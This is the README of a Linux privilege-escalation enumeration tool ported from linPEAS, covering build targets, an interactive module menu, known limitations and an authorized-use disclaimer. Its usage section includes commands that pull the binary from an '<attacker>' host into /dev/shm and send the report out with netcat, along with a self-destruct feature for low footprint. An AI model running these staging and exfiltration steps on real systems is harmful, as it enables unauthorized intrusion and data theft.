sysrift

A Linux privilege escalation enumeration tool compiled to a single static binary. Ported from linPEAS and rewritten in Crystal for drop-and-run deployment with no runtime dependencies.

Why

linPEAS is the standard for Linux privesc enumeration, but it's a ~35,000 line Bash script that requires an interpreter, generates process noise, and buries findings in verbose output. sysrift addresses this:

• Single static binary -- drop in /dev/shm, run, delete. No interpreter, no dependencies.
• Selective execution -- run individual modules or combinations instead of a full sweep every time. Active checks (network connections, auth attempts) require explicit opt-in per execution via interactive prompt.
• Severity-tagged output -- [!] critical, [+] medium, [-] info, [ok] safe. Post-run summary surfaces only critical and medium findings.
• Smaller footprint -- one process, one log file. Self-destruct option removes the binary when done.
• Cross-architecture -- x86_64 and arm64 via static musl linking.

Modules

[A] = includes active checks (opt-in via interactive prompt). See ARCHITECTURE.md for design details, DETECTION.md for detection logic and CVE coverage.

Build

Requires Crystal 1.19+.

# Static x86_64 binary (recommended — no Docker required)
make x86_64-native

# Strip symbols (~30-40% size reduction)
make strip-native

# Native build (dynamic, for testing)
make local

# Static x86_64 binary via Docker (alternative)
make x86_64

# Static arm64 binary via Docker + QEMU
make arm64

# Syntax/type check only (no binary output)
make check

Prerequisites

Output binaries are placed in dist/.

Usage

# Serve from attack box
python3 -m http.server 8080 -d dist/

# Drop to target (pick one)
curl http://<attacker>:8080/linaudit_x86_64_native -o /dev/shm/linaudit
wget http://<attacker>:8080/linaudit_x86_64_native -O /dev/shm/linaudit
scp dist/linaudit_x86_64_native user@target:/dev/shm/linaudit

# Run
chmod +x /dev/shm/linaudit && /dev/shm/linaudit

The interactive menu lets you:

• Run individual modules by number (e.g., 1 for System Information)
• Run multiple modules with comma separation (e.g., 1,3,5)
• Run all modules with 0
• List report files with r
• Self-destruct the binary with x (keeps report files)

Output is tee'd to a timestamped log file in /dev/shm/ with ANSI codes stripped:

# View report
less -R /dev/shm/audit-report_<user>_<timestamp>.txt

# Copy off target
nc <remote-ip> 4444 < /dev/shm/audit-report_<user>_<timestamp>.txt

Status

Active work-in-progress (v0.4.0 — coverage-parity release; also in src/menu.cr banner and shard.yml). All 17 modules are functional. See ARCHITECTURE.md for design details and DETECTION.md for detection logic.

Known Limitations

• No 32-bit (i686) support. Crystal does not target 32-bit architectures. The binary fails with "Exec format error" on i686 systems -- a good example is HTB's retired Irked box (Debian 8, i686, kernel 3.16.0-6-686-pae). This is where interpreted tools like linPEAS win outright. Debian has dropped 32-bit ISOs and i686 is increasingly rare, but legacy infrastructure and older CTF boxes still run it.

• make x86_64-native currently links against glibc, not musl. The target name implies musl-static but the build command (crystal build --static --link-flags "-static") uses the system cc toolchain. On a glibc-based dev host, the resulting binary is glibc-static and emits compile-time warnings for dlopen, getaddrinfo, and gethostbyname (pulled in by mod_cloud's http/client for IMDS). At runtime the binary will demand the linker's glibc version on the target -- defeating the drop-and-run premise on systems with older glibc. Until this is fixed, ship the make x86_64 (Docker crystallang/crystal:latest-musl) build, not make x86_64-native.

Legal

This tool is intended for authorized penetration testing, security research, and CTF competitions. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author assumes no liability for misuse.

Acknowledgements

sysrift is a port of linPEAS by Carlos Polop, part of the PEASS-ng project. sysrift does not replicate every linPEAS check -- it focuses on the highest-signal vectors post-foothold, structured for selective execution rather than full-sweep output.